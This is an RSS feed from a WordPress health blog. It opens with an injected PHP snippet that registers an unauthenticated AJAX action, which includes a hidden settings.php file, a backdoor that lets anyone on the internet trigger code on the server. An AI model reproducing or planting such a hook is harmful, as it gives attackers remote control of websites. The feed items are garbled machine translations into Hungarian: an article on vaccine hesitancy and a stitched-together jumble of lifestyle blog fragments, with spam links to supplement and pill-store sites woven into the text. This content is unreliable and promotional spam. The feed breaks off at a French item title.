if(!function_exists('file_manager_check_dt')) {
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>healthblog &#8211; My Blog</title>
	<atom:link href="https://gtfareast.com/wp/category/healthblog/feed/" rel="self" type="application/rss+xml" />
	<link>https://gtfareast.com/wp</link>
	<description>My WordPress Blog</description>
	<lastBuildDate>Sat, 01 Apr 2023 11:45:49 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>Vakcina tétovázása és covid-19: Segíthet-e a történelem megtalálni a megoldást?</title>
		<link>https://gtfareast.com/wp/2023/03/28/vakcina-tetovazasa-es-covid-19-segithet-e-a-tortenelem-megtalalni-a-megoldast/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 28 Mar 2023 10:08:00 +0000</pubDate>
				<category><![CDATA[healthblog]]></category>
		<guid isPermaLink="false">https://gtfareast.com/wp/?p=1026</guid>

					<description><![CDATA[Vakcina tétovázása és covid-19: Segíthet-e a történelem megtalálni a megoldást? A COVID-19 járványtáblázat után a gyorsan fejlett oltásokat a vírus legyőzésének legjobb módjaként üdvözölték. A legtöbb ember szívesen oltott be a lehető leghamarabb. Néhányan azonban elutasították, vagy úgy döntöttek, hogy várnak. Az orvosi hírek ma a vakcinák tétovázásának történetét vizsgálják, és a vakcina vita mindkét&#8230; <a class="more-link" href="https://gtfareast.com/wp/2023/03/28/vakcina-tetovazasa-es-covid-19-segithet-e-a-tortenelem-megtalalni-a-megoldast/">Continue reading <span class="screen-reader-text">Vakcina tétovázása és covid-19: Segíthet-e a történelem megtalálni a megoldást?</span></a>]]></description>
										<content:encoded><![CDATA[<h1> Vakcina tétovázása és covid-19: Segíthet-e a történelem megtalálni a megoldást? </h1>
<p> A COVID-19 járványtáblázat után a gyorsan fejlett oltásokat a vírus legyőzésének legjobb módjaként üdvözölték. A legtöbb ember szívesen oltott be a lehető leghamarabb. Néhányan azonban elutasították, vagy úgy döntöttek, hogy várnak. Az orvosi hírek ma a vakcinák tétovázásának történetét vizsgálják, és a vakcina vita mindkét oldalán szakértőkkel és egyénekkel beszélnek. </p>
<p> Az összes adat és statisztika a közzététel idején a nyilvánosan elérhető adatokon alapul.<span id="more-1026"></span> Néhány információ elavult lehet. Látogasson el a Coronavírus csomópontunkra a legfrissebb információkért a Covid-19 járványról. </p>
<p> A vakcinázás a modern orvoslás egyik legnagyobb sikertörténete. A himlő most egy távoli memória, amelyet átfogó oltási program töröl, és a polio úton van ahhoz, hogy csatlakozzon a történelem birodalmához. </p>
<p> De nem mindig volt ilyen. A csecsemőkor az ötödik születésnapjuk előtt sokan a veszély idejét jelentették, és sokan fertőző betegségek voltak. Az Egyesült Államokban az 1800 -ban született csecsemők csaknem fele nem éri el az 5 éves korát. 2020 -ra ez a szám 1000 -ből csak 7 -re esett vissza. Nagyrészt a vakcinázásnak köszönhetően a fertőzések halálának kockázata továbbra is csökken. </p>
<p> Az Egészségügyi Világszervezet (WHO) szerint a COVID-19 előtt csak két fertőző betegség-az alsó légúti fertőzések és a hasmenéses betegségek-volt a 10 legfontosabb halálozási oka. A másik nyolc nem fertőző, az ischaemiás szívbetegség a tetején. </p>
<p> Miért vonakodnak néhány ember elfogadni az oltásokat? A történelem visszatekintése néhány választ adhat nekünk. </p>
<p> További tanácsok a Covid-19 megelőzésével és kezeléssel kapcsolatban látogasson el a Coronavírus Hubba. </p>
<h2 id="Az első oltás" name="Az első oltás"> Az első oltás </h2>
<p> himlő volt az emberiség csapása évszázadok óta, és megölte azokat, akik elkaptak, és eltorzultak vagy elvakítják sokan, akik túléltek. Aztán, 1796 -ban, az Egyesült Királyság orvosának, Edward Jenner felfedezést tett. </p>
<p> A enyhébb betegség, aki enyhébb betegség, immunisnak tűnt a himlőfertőzés ellen. Ebből a megfigyelésből jött az első himlővakcina. </p>
<p> Dr. Jenner módszerei minden bizonnyal nem haladnak át a modern orvosi szabályozóknak. A Cowpoxból származó folyadékot (a „vacca” a tehén latin szó) elváltozásokból egy szomszéd 8 éves fiába, ami a betegséget adja neki. Néhány héttel később a himlővel injektálta. A fiú nem lett beteg. A </p>
<p> oltás a himlőhöz sokkal hatékonyabb és biztonságosabb volt, mint a korábbi immunitási kísérletek azáltal, hogy az embereket folyadékkal oltották a himlő léziókból. Ez a gyakorlat, a varioláció enyhébb betegséget adott az oltott személynek. Ugyanakkor a himlő halálához és kitöréséhez is vezetett. </p>
<h2 id="A korai kudarcok" name="A korai kudarcok"> A korai kudarcok </h2>
<p> Az oltás nem volt problémája. A rossz higiéniai gyakorlatok akkoriban azt jelentették, hogy a vérmérgezés és a fertőzés nagyon valódi kockázata volt. A szifilist tovább adták a veleszületett szifilisz csecsemők oltásával, mielőtt más gyermekeket oltott volna. És azt állították, hogy az amerikai polgárháború alatt a szifilisz terjedése részben a himlői oltás során fertőzés eredménye. </p>
<p> Ezek a kockázatok, és néhány vaccinationisták általi alulteljesítésük sok emberben bizalmatlanságot váltott ki a vakcinában. Néhány modern oltási ellenfele a káros hatások elrejtését idézi ellenzésük okaként. </p>
<p> Miközben elismerte, hogy a negatív eredmények kevésbé valószínű, hogy közzéteszik, Dr. Danielle Ofri, a New York-i Egyetem orvosi professzora és a Bellevue Irodalmi Review főszerkesztője elmondta a Medical News ma: Természetesen láttuk a vakcinák mellékhatásairól szóló jelentéseket (legfrissebb hírek az AstraZeneca vakcináról, a J &#038; J -vel kapcsolatos folyamatban lévő kérdésekről. ” </p>
<p> Hozzátette: „A [COVID-19] oltási vizsgálatokat példátlan ellenőrzés környezetében végezték. E kísérletek minden lépését a nyilvánosság, a sajtó, a tudományos közösség figyeli-[tehát] lehetetlen elképzelni az eredmények nagyszabású elrejtését. ” </p>
<p> Az oltás felhatalmazására irányuló kormányzati erőfeszítések több okot adtak az ellenfeleknek a vakcinának a bizalmatlanságára. Az első oltásellenes mozgások az Egyesült Királyságban a 19. század közepén kezdődtek. Mások hamarosan követtek az Egyesült Államokban </p>
<p> és az oltás elleni propaganda megkezdődött. A Punch, az Egyesült Királyság népszerű szatirikus magazinja akkoriban kiadott egy rajzfilmet, amelyben az embereket oltják, majd tehén szarvát, fejét és farkát fejlesztették ki. </p>
<p> Egyes orvosok előmozdították ezeket a nézeteket, és nem biztonsággal, hanem azért, mert a kétes himlőgyógyászatból jó megélhetést végeztek. </p>
<h2 id="A tétovázás növekedése" name="A tétovázás növekedése"> A tétovázás növekedése </h2>
<p> A remegő kezdés ellenére, mivel az orvosi gyakorlat javult, és oltást alakítottak ki más betegségekkel szemben, a oltások elfogadása a 20. században nőtt. </p>
<p> Az 1960 -as évekre az oltások rutinszerűvé váltak a közös betegségek, például a diftéria, a polio, a kanyaró, a mumpsz és a szünetelő köhögés ellen. Sokan csecsemőkorban adtak. Ezután, 1974 -ben, egy tanulmány összekapcsolta a neurológiai reakciókat a szokatlan köhögés (pertussis) oltással. </p>
<p> A szülők aggódnak a vakcina gyermekeik számára történő biztonsága miatt. A pertussis oltási arány Angliában és Walesben az 1971-es gyermekek 78,5% -áról az 1974-es 37% -ra zuhant, és az 1978-as télen az Egyesült Királyságban az 1950-es évek óta a legrosszabb szamár köhögési kitörés volt. </p>
<p> Az 1980 -as és 1990 -es években a vakcinák bizalma helyreállt. Aztán, 1998 -ban, Dr. Andrew Wakefield közzétett egy papírt a Lancet -ben. </p>
<p> Tanulmánya azt állította, hogy volt kapcsolat az MMR (kombinált kanyaró, mumpsz és rubeola) oltás és autizmus között. A média világszerte történő megjelenése követte, néha pánik kiváltó címsorokkal. A jelentések azt mutatták, hogy az MMR vakcina autizmust okozott, bár a tanulmány valójában nem állította ezt. </p>
<p> A történet több mint egy évtizeden át zajlott, és 2006 -ban ismét felújult az Egyesült Államokban. Noha a papírt 2010 -ben visszahúzták, a pletykák továbbra is fennálltak. Dr. Wakefield -et nem sokkal később az Egyesült Királyság orvosi nyilvántartásáról sújtották, de állításai szerint áll. Most az Egyesült Államok oltásellenes mozgalmának vezető szereplője. </p>
<p> A vakcinák bizalmára gyakorolt hatás mély volt. Noha az MMR vakcinázási aránya az Egyesült Államokban és az Egyesült Királyságban csak körülbelül 10%-kal esett vissza, kérdések merültek fel az összes oltás biztonságával kapcsolatban. A közelmúltban, mint 2018, egy Egyesült Királyság felmérésében a válaszadók 55% -a úgy gondolta, hogy kapcsolat lehet a vakcinák és az autizmus között. </p>
<h2 id="A COVID-19 oltás" name="A COVID-19 oltás"> A COVID-19 oltás </h2>
<p> Amint a SARS-COV-2 azonosították, a kutatók a oltás kialakulására versenyeztek. Néhányan a kipróbált és tesztelt technológiáktól függtek, mint például az Oxford AstraZeneca, amely adenovírust használt. Mások innovatívabbak voltak: a Pfizer/Biontech kifejlesztett egy eljárást, amelynek célja az mRNS átadása a sejtekbe, amelyeket oltásukhoz használtak. </p>
<p> A kormányok hatalmas összegeket öntöttek a vakcinák fejlesztési programjába, lehetővé téve annak gyors fejlődését. Az első oltást csak egy évvel a SARS-COV-2 szekvenálás után hagyták jóvá. </p>
<p> „A modern tudomány olyan vakcinákat teremtett, amelyek meghaladták a tudósok hatékonyságuk elvárásait, és azt várták volna, hogy amikor az oltásokat bejelentették, a vonalak a vakcinázásra váró emberek utcáján húzódnak le.” </p>
<p>-Dr. William Schaffner, a fertőző betegségek professzora a Vanderbilti Egyetemi Orvosi Központban, Nashville, TN Néhányan sorakoztak, hogy megszerezzék a vakcinákat, mások nem voltak annyira lelkesek. A vakcinák fejlődésének sebessége néhány számára aggodalomra ad okot. Bizonyára a fejlesztők parancsikonokat készítettek? Hogyan lehetnek biztosak abban, hogy az oltások biztonságban vannak? </p>
<p> detonic hatása <a href="https://harmoniqhealth.com/hu/detonic/">hasznos forrás</a> </p>
<p> A mellékhatásokról rengeteg pletyka, különösen a közösségi médiában, néhányan azt állították: </p>
<ul>
<li> Az oltást túl gyorsan fejlesztették ki, hogy biztonságban legyenek. </li>
<li> Bill Gates az oltást a mikrochipek mindenkibe történő beillesztésére használja. </li>
<li> A vakcina magánszemélyt tett. </li>
<li> A terhes emberek számára veszélyes volt sokáig, miután jóváhagyták őket az Egyesült Királyságban. </li>
</ul>
<p> A tudósok kutatási eredményekkel ellensúlyozták ezeket a pletykákat. De a kutatás nem mindig tudja meggyőzni az embereket. </p>
<p> “Az információk az agyra vonatkoznak. A hozzáállás az, hogy úgy érzi, hogy […] nem tudtuk túl jól kezelni, hogy az emberek hogyan érzik magukat a dolgokkal. Az idő múlásával előrelépést tettünk. ” </p>
<p> &#8211; Dr. William Schaffner </p>
<p> Időnként a vakcina tétovázása váratlan negyedekből származik. </p>
<p> Beszélgetés az MNT-vel, Dr. Jon Rogers, az Egyesült Királyság nyugdíjas orvosával, aki az Angliában alkalmazott szigorú korlátozások hangos ellenzője volt a pandémián, aggodalmát fejezte ki a Covid-19 miatt. védőoltások. </p>
<p> “Azt hiszem, a közönség összezavarodott. Egyes orvosok azt mondják, hogy ez biztonságos és hatékony. Mások azt mondják: „Várj, vannak mellékhatások” &#8211; állította. </p>
<p> Folytatta, kifejezve a bizalmatlanság érzelmeit: „Mik a kockázatok és előnyök? Ezt a párbeszédet 2020 áprilisától nem engedélyezték. </p>
<h2 id="A bizalom kérdése" name="A bizalom kérdése"> A bizalom kérdése </h2>
<p> Tehát talán több információ nem az egyetlen kulcsa az oltás elfogadásának. Sok szakértő úgy véli, hogy a vakcinák iránti bizalom elengedhetetlen, ami a COVID-19 járvány során aggodalomra ad okot. </p>
<p> „A bizalomról szól. A legtöbb ember (beleértve a legtöbb egészségügyi szakembert is!) Nem tud belemerülni egy tudományos tanulmány szembeszökő szemétjébe, hogy ítéletet hozzon arról, hogy az adatok mennyire érvényesek. Mindannyiunknak másokra kell támaszkodnunk, hogy ajánlást tegyünk. Ez a támaszkodás teljesen függ a bizalomtól. ” </p>
<p> &#8211; Dr. Danielle Ofri </p>
<p> Dr. Ofri folytatta: „Mi az egészségügyi ellátásban bízunk Dr. Fauci -ban, mert évek óta ismertük őt. Vezette minket az AIDS-válságon, és mindig egyenes nyíl-tudós és ember volt. Ugyanakkor, ha a pletyka-mill bizalmatlanná válik vele, akkor az átlagos polgárok kevésbé valószínű, hogy elhiszi azt, amit mond. &#8221; </p>
<p> Azok az emberek, akik megkérdőjelezik a vakcinázás előnyeit, gyakran azt állítják, hogy örülnek annak, hogy nem oltják be a vakcinázást. </p>
<p> Dr. Schaffner kifejezte csalódását ezzel a nézetben: „Ez a [vírus] nagyon fertőző. Ha nem oltották be […], olyan, hogy vörös fényre és vezetéssel érkezzen. Ön kifejtette a saját függetlenségét, elfogad valamilyen kockázatot, de veszélyezteti az embereket. ” </p>
<h2 id="Mi a következő?" name="Mi a következő?"> Mi a következő? </h2>
<p> A WHO a vakcina tétovázását a globális egészség 10 legfontosabb fenyegetésének egyikének hívta. Tehát hogyan lehet ezt ellensúlyozni? </p>
<p> Egyes országok egyes foglalkozásokban, például egészségügyi és gondozói munkavállalókban kötelezik az oltást az emberek számára. Mások, például Ausztria, nemzeti mandátumot terveznek. De a mandátumok ritkán ráveszik a tétovázást. </p>
<p> Ahogy Heidi Larson professzor a könyvében megragadta, megbízik a „Libertarian idegek” sztrájkját. Ezt Dr. Rogers igazolja: „Úgy döntöttem, hogy nem oltódnak be, mert sok más embert oltani kell. Valójában véres gondolkodásmód. ” </p>
<p> Dr. Schaffner úgy véli, hogy a bizalmat vissza kell szerezni: „Úgy tűnik, hogy a tudomány aktív bizalmatlansága van, és az elmúlt 20 vagy 30 évben csak a kormányba vetett bizalom eróziója. És természetesen ezen információk nagy része a kormányon keresztül érkezik, ahogy kellene. ” </p>
<p> Míg egyesek mindig ellenzik a vakcinázást, a tétovázó személyek számára, a megbízható egészségügyi szakemberekkel való kapcsolat valószínűleg a leghatékonyabb út az elfogadáshoz. </p>
<p> “Úgy tűnik, hogy a leghatékonyabb, ha a betegeket inkább a saját orvosuk, nem pedig a nemzeti egészségügyi hatóságok tanácsadják. Miközben van néhány olyan betegem, akik holtan állnak a vakcinával szemben, a köztes csoport számára, aki csak nagyon bizonytalan, az egy-egy beszélgetésünk nagyon hasznos volt, és sokan megkapták az oltást. ” </p>
<p> &#8211; Dr. Danielle Ofri. </p>
<p> Tehát talán a hírnökre-nem csak az üzenetre-kell összpontosítanunk, amikor kommunikálunk azokkal, akik még mindig vonakodnak a Covid-19 oltásokkal kapcsolatban. </p>
<p> A COVID-19-re vonatkozó legfrissebb fejlemények élő frissítéseihez kattintson ide. </p>
<ul>
<li> Közegészségügy </li>
<li> Immunrendszer/oltások </li>
<li> Fertőző betegségek/baktériumok/vírusok </li>
</ul>
<h3>Contents</h3>
<ul>
<li><a href="#Az első oltás">Az első oltás</a></li>
<li><a href="#A korai kudarcok">A korai kudarcok</a></li>
<li><a href="#A tétovázás növekedése">A tétovázás növekedése</a></li>
<li><a href="#A COVID-19 oltás">A COVID-19 oltás</a></li>
<li><a href="#A bizalom kérdése">A bizalom kérdése</a></li>
<li><a href="#Mi a következő?">Mi a következő?</a></li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>terítse el a pirítósra mézzel, merítse be a zöldségeket, vagy egy kanállal enni!</title>
		<link>https://gtfareast.com/wp/2023/03/28/teritse-el-a-piritosra-mezzel-meritse-be-a-zoldsegeket-vagy-egy-kanallal-enni/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 28 Mar 2023 02:33:00 +0000</pubDate>
				<category><![CDATA[healthblog]]></category>
		<guid isPermaLink="false">https://gtfareast.com/wp/?p=1014</guid>

					<description><![CDATA[terítse el a pirítósra mézzel, merítse be a zöldségeket, vagy egy kanállal enni! len lecke Nem igazán lecke, de fényképeztem, amikor ma reggel új lenet készítettem. Az egész magot a fagyasztóban tartjuk, és egyszerre körülbelül fél csészét őrölünk, és ezt a hűtőszekrényben tartom a könnyű hozzáférés érdekében. Ugyanaz az ügylet a főtt búzaszámokkal, amelyek körülbelül&#8230; <a class="more-link" href="https://gtfareast.com/wp/2023/03/28/teritse-el-a-piritosra-mezzel-meritse-be-a-zoldsegeket-vagy-egy-kanallal-enni/">Continue reading <span class="screen-reader-text">terítse el a pirítósra mézzel, merítse be a zöldségeket, vagy egy kanállal enni!</span></a>]]></description>
										<content:encoded><![CDATA[<h1> terítse el a pirítósra mézzel, merítse be a zöldségeket, vagy egy kanállal enni! </h1>
<h2> len lecke </h2>
<p> Nem igazán lecke, de fényképeztem, amikor ma reggel új lenet készítettem. Az egész magot a fagyasztóban tartjuk, és egyszerre körülbelül fél csészét őrölünk, és ezt a hűtőszekrényben tartom a könnyű hozzáférés érdekében. </p>
<p> Ugyanaz az ügylet a főtt búzaszámokkal, amelyek körülbelül egy hétig tartanak </p>
<p> Ma a szokásos módon kezdtem el a jógával a gyertyafényben. De nagyon zavart voltam! Letöltöttem a Power Vinyasa #2 -t, de azt hittem, hogy a POWE POWER VINYASA #1 POSE útmutatót készítem.<span id="more-1014"></span> Kiderült, hogy már a 2. számú tettem, mert elkezdtem felismerni a sorozatot! Találd ki, hogy megtakarítom az 1. számot egy másik napra. fejezze be őket, rendben van. Bárcsak elmehetnék vásárolni! Szeretnék elkezdeni díszíteni a Valentin koktélpartijához! Télen tényleg meleg ebédre van szükségem! Szeretem ezeket a teljes ételekből származó rántott halfileket. Készítik egy salátát, mint egy étkezés! Ez a saláta zöldek, házi készítésű öntettel, sárgarépa -chips, paradicsom, maradékos burgonya krumpli és két forró és ropogós halfilé volt. És meg kellett osztanom, hogy mindegyik 1,50 dollárért találtam ezeket az aranyos rózsa aranykosarat! (Tényleg 2 dollárért 3 dollár). Vettem. 4. Most el kell gondolnom, hol kell használni őket! A kétcsomagot csak az üzletekben értékesítik, de kaphat egy 6 csomagot 11 dollárért online! Esküszöm, hogy a Walmart az a hely, ahol olcsó tárolásra kerül. Mindig látom a jobb otthonuk és kertjeik vonalát a magazinomban, és megdöbbentem, hogy milyen aranyos és parasztház-y minden ilyen alacsony áron. Megtaláltam ezeket a nagyszerű tengeri fűszereket 13,97 dollárért a látogatásom során is, de úgy döntöttem, hogy nincs helyem számukra. Mennyire aranyos ez a kék -fehér ruhás játéktartály 6 dollárért?! 30 dollár lenne a PB-n vagy a bólintás földjén. A velük kapcsolatos blogbejegyzésem óta bekapcsoltak <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> </p>
<h2> vacsora </h2>
<p> Egyszerű lazac fokhagymával, sóval és borssal (a lazac hetente egyszer van a menüben) itt van) spárga és a rizsfőzőben készült szemcsékkel. (Nem olyan jó, mint a Quaker Grits, amire átalakítottam!) </p>
<p> Mi a legjobb dolog, amit főzöttél ezen a héten? </p>
<p> Egy unalmas nap létrehozása a konyhában! P> </p>
<p> tahini, mandulavaj, bármilyen dióvaj vagy ez a zamatos eloszlás, amely egy hibrid tahini + mandula </p>
<p> nyomtatás </p>
<h2> fényes bazsalikombab dip </h2>
<p> Egy unalmas nap létrehozása. A konyhában! Fekete bors </p>
<h3> Utasítások </h3>
<p> Adjon hozzá minden összetevőt egy élelmiszer -processzorhoz. Körülbelül 30 másodpercig impulzusoltam, és kevés ropogást hagytam! Mézes pirítósra terjedt, belemerüljön a zöldségbe vagy egy kanállal enni! Kevés evőkanál sózott napraforgómag. Körülbelül 30 másodpercig impulzáltam, és kis darabok ropogást hagytak! reggel!!! Kicsit hozzászoktam hozzá, és az online 4 mérföldre (nem pedig az 5-6-ra) megkönnyíti a végrehajtást. Tehát a gyönyörű tavaszi meleg reggelek !! bármelyik. 4,0 mérföld a ponton! Szeretem azt az utat is, amelyet én csináltam. Az egyik olyan ember vagyok, aki inkább tudatlan ismerős útvonalat választ, mint valami váratlan és más &#8211; bár a váratlan időnként mindig szórakoztató. De szeretek nem gondolkodnom az útvonalamon vagy a távolságon ezen a reggeli futáson. Oats1/3 csésze sima joghurt1/3 csésze tej1 evőkanál chia seedshalf bananapinch só </p>
<h5> a reggeli összetevők </h5>
<p> 1/4 muffin felső ~ 1/3 csésze granolasunflower vaj </p>
<p> Szerette ezt a tál !! </p>
<p> én is jobban szeretem az aranyos kis fél csésze kávé bögrémet, mint bármely más bögrem, ami valaha volt !!!!!! Szeretem a méretet + a dizájnt. Nagyon köszönöm Jill! </p>
<p> és ezzel elindulok a biciklizni dolgozni! Egész hétvégén vettem &#8211; véget ért egy futball -lövéssel (nyertünk!) </p>
<p> reggeli ma reggel !! Tojás, házi sourdough kenyér vajjal, sok gyümölcs! Kint vegye ki a tálomat). Az új asztal + székeinknek itt kell lennie a jövő héten! 30 perccel később teljesen jól tűnt. Aztán másnap reggel az iskola előtt azt mondta, hogy a tünetek visszatértek. Bíztam benne, hogy valami elmulasztott, és hagyd, hogy maradjon az iskolából. De ez nem volt nyugodt beteg nap otthon. Ez voltunk mi volt a délutáni sétánkon, jobb volt 9 -kor! Valaki látta az alsó dobozt, és kissé <a href="https://yourpillstore.com/hu/">ebből a forrásból</a> túl izgatott volt &#8211; Hoppá !!! Nagyra értékelem a minimális csomagolást, de a gyerekek figyelnek! SPOILER RIASZTÁLIS: Kap egy golfkészletet karácsonyra. Ráadásul néhány előkészítés Guac és chips az egész becsapására. Nagyszerű példa valamire, ami több mint egy órát vitt volna el, hogy magam készítsek. Azt mondta, hogy a recept a legmagasabb titok, de meg fogom kapni !!! <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> </p>
<p> Ó, igen &#8211; és megvágtam a hajam !! Holly mindig betesz néhány fürtbe, és jobb munkát végez, mint valaha. Szükségem van egy leckére! Azt hiszem, úgy döntöttem, hogy nem tudsz krémes kókuszdió rizst készíteni egy rizsfőzőben &#8211; ezt a tűzhelyen kell megtennie. Gondolkodik-e valaki másképp, és ha igen, kérjük, ossza meg a módját? A Soup Nice egy téli tűzőkapocs! És veled mi van? Megtölti -e az ütemtervét? </p>
<h6> Vegye figyelembe a kezem a skála! Sült saláta kitûnõje, fehérbor és dijon öltözködése, feta, szaporodott mandula és szardínia volt. (Plusz még több sült saláta kitûnõ és az ízletes vajszósz a tetején!) Feltöltöttem ezt a halat, tehát ez inkább egy gabona tál! <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> </p>
<p> és végül, tonhal- és szardínia salátával, mazsolával, mandulával és citromfehérbor-öntettel. saláta -étkezési trükk? Hadd tudjam meg! </p>
<h3> További hozzászólások Kath -tól: </h3>
<p> délután </p>
<p> Valaki fél sört táplált nekem, miközben Bocci Ball játékot játszottunk <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> </p>
<p> Nem vagyok olyan jó a Bocci -ban… </p>
<p> &#8230; de én sem vagyok rossz! Kanz és én nyertünk! A tengerparton van egy témája. Tegnap este Fiesta volt, ma este egy Havana&#8217;s nevű étterembe megyünk. Tehát volt egy enyhe kubai témánk. Snack -ek néhány Sweet N Salty -ra a Design csodálatos perecével !!!!!!!!!!!! Volt egy harapásom a resee -ből &#8211; még mindig jó fagyasztott és hónappal később! Összekevertem magam egy tonikus + mészet, és a puzzle -en dolgoztam. </p>
<p> Mivel a sör művészet ebben a háztartásban… </p>
<p> Kanz árpabor -kóstolást készített nekünk </p>
<p> 4 Különböző év Sierra Nevada és a sajátja: <///> </p>
<p> Loveeeeeeeeeeeeeeeeee -bor bor. Olyan, mint egy gazdag, malátás, ízléses sör. Sokkal jobb, mint a „sárga”, </p>
<p> mert a zsokok családja is vagyunk, úgy döntöttünk, hogy ma este sétálunk vacsorára </p>
<p> Körülbelül egy mérföldnyire a Carolina belvárosától, ahol van egy A megyei tisztességes érzés a levegőben </p>
<p> A ma esti vacsora a Havana -ban volt. Szeretem a kézműves bungalókat! Anya és én megosztottunk egy pohár vöröset, a kanz és a lárfok pedig egy pohár fehéret osztottak meg. szelet. A ma esti tekercsek tészták voltak, és bár valószínűleg nem voltak áhítva, még mindig azt gondoltam, hogy kiválóak. Ne törődj a salátákkal). A halak kiválóak voltak! Tanúi voltunk egy nagyszerű show -nak. Szeretek desszertre menni nyáron </p>
<p> Ez! </p>
<p> Per szokásos, néhány megosztást végeztünk. </p>
<p> Plus Fudge a csoport számára! </p>
<p> A tengerparton a legjobb! Nagyon szép volt! </p>
<p> Semmi más, mint a nap, az ég és a víz itt. Csodálatos időt töltöttünk a Tranquility Bay -n. Ezt az üdülőhelyet a tengerpartra való kiszállási tornácok miatt választottuk, és annak ellenére, hogy a lehető legkevésbé közel állnak az úszási strandhoz, hogy szorosan figyelemmel kísérjék a hatéves korot Az üdülőhely másik vége. A hely még mindig kedves volt, szép kilátásuk volt, és nagyszerű lett volna csak Thomasnak és nekem, de a gyerekekkel ez volt az utolsó választásunk. Szerencsére az üdülőhely a második napon képes volt mozgatni minket. A lépés annyira megéri, mert most gyerekekkel veszünk körül, és Mazen bármikor kifogyhat, hogy játsszon. Tehát egyikünk tornác oldal volt, míg a másik Mazennel volt-a tengerparton, a medencénél, vagy olyan tevékenységet végez, mint például a zöld. > Minden reggel kinyitjuk a francia ajtókat a hálószobánkban, és minden mászás az ágyban, hogy kávét kortyoljon és játékot játsszon. Out garnélarák saláta a Tiki bárból. És hozzáadott néhány saját pita chipset! Nagyon finom és annyira kényelmes volt, hogy vissza tudtam enni a tornácunkon. Nem félek tőlük általában, de ha úgy érzi, hogy egy farkát lábadon csúszik, vagy meglepődhet egy szék alatt, az nem olyan izgalmas. </p>
<h2> Ez egy családbarát üdülőhely </h2>
<p> Kicsit attól tartottunk, hogy itt nem lesz túl sok gyerek, de valójában nagyon családi hely. Három gyerek van a szomszédban, hogy játszhassunk, és Mazen barátokat szerzett a medencében, és órákat töltött játékkal! Nagyon jó volt befejezni, ahol a Crawdads énekel, miközben figyelte, ahogy a székemről játszik. Property. , ami olyan szép volt! Fél hazahoztam ebédre. Volt egy mandulakéregű kecskesajt és egy finom kenyérkosár is. És kaptam egy ingyenes palack bort a TB hírlevélből való kupon behozására! Imádtam a pillangó sütit! </p>
<p> Több időt töltöttünk a tengerparton és a medencénél. A napok túl gyorsan mennek. üdülőhely, miközben egy kis szunyókot vett. Szeretném, ha felébrednék, és napkelte futni vagy mindennap felütni az edzőterembe, de őszintén szólva, ez nem lehetséges anélkül, hogy egy órára elhagynám a családot, ezért úgy döntöttem, hogy nem aggódok a héten történő edzés miatt. Egy kis séta és úszás meg kell tennie! És természetesen kettős töltött oreos. </p>
<p> Mazen elkapta magát egy kis teknősöt! Volt egy füstölt ananász margarita! </p>
<p> és a helyi sügér, a Picatta stílus, egy fügepolenta tortával és brokkolinival. Szintén megmentett néhány ebédre! </p>
<p> Volt egy elnöki napunk! Kerékpározás, városnézés, beszélgetés, evés, sütés! Huey és Indy közvetlenül üdvözöltek minket &#8211; </p>
<p> Emily egy házigazda babája volt, és finom ebédet töltött nekünk, amikor megérkeztünk. Köles saláta és pörkölt makk squash! Teljesen ütközött az éhező gyomoromban! </p>
<p> Nos, Whaddya, néhány mérfölddel később találtunk Annep -t! Szükségünk van erre Cville -ben !! </p>
<p> és természetesen a táj mesés volt </p>
<p> vidám, hogy a három állam Matt és én megosztottuk mind egymás mellett: NC, VA, SC < /p> </p>
<p> Új otthoni államunk! [Megígérem, hogy a következő látogatásom során hivatalos DC blog-találkozót készítek! Nagyon hasonlított Charlotte Tastyyo -hoz &#8211; a torta valójában torta volt, és Stonyfield joghurttal készült! Az almával, a granolával és a csokoládéval tetején tettem tetején. Bárcsak feltehetem volna a saját önteteimet! Annyira elkényeztetett vagyok manapság, hogy az önszolgálat <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> </p>
<p> A Walk and Bicike -t visszaadjuk a Sweetgreen -ről a fővárosba a Jefferson mosó emlékműjéig, vissza a hídon, és az otthon ~ 8 mérföld telt el egy ideig. A végén nagyon fáradtak voltunk! De annyira megéri, mert ez volt a legszebb nap. Még jó illatú is volt! </p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>UCLA et a terminé sa formation à la Harvard Medical School.</title>
		<link>https://gtfareast.com/wp/2023/03/27/ucla-et-a-termine-sa-formation-a-la-harvard-medical-school/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 27 Mar 2023 09:43:00 +0000</pubDate>
				<category><![CDATA[healthblog]]></category>
		<guid isPermaLink="false">https://gtfareast.com/wp/?p=1010</guid>

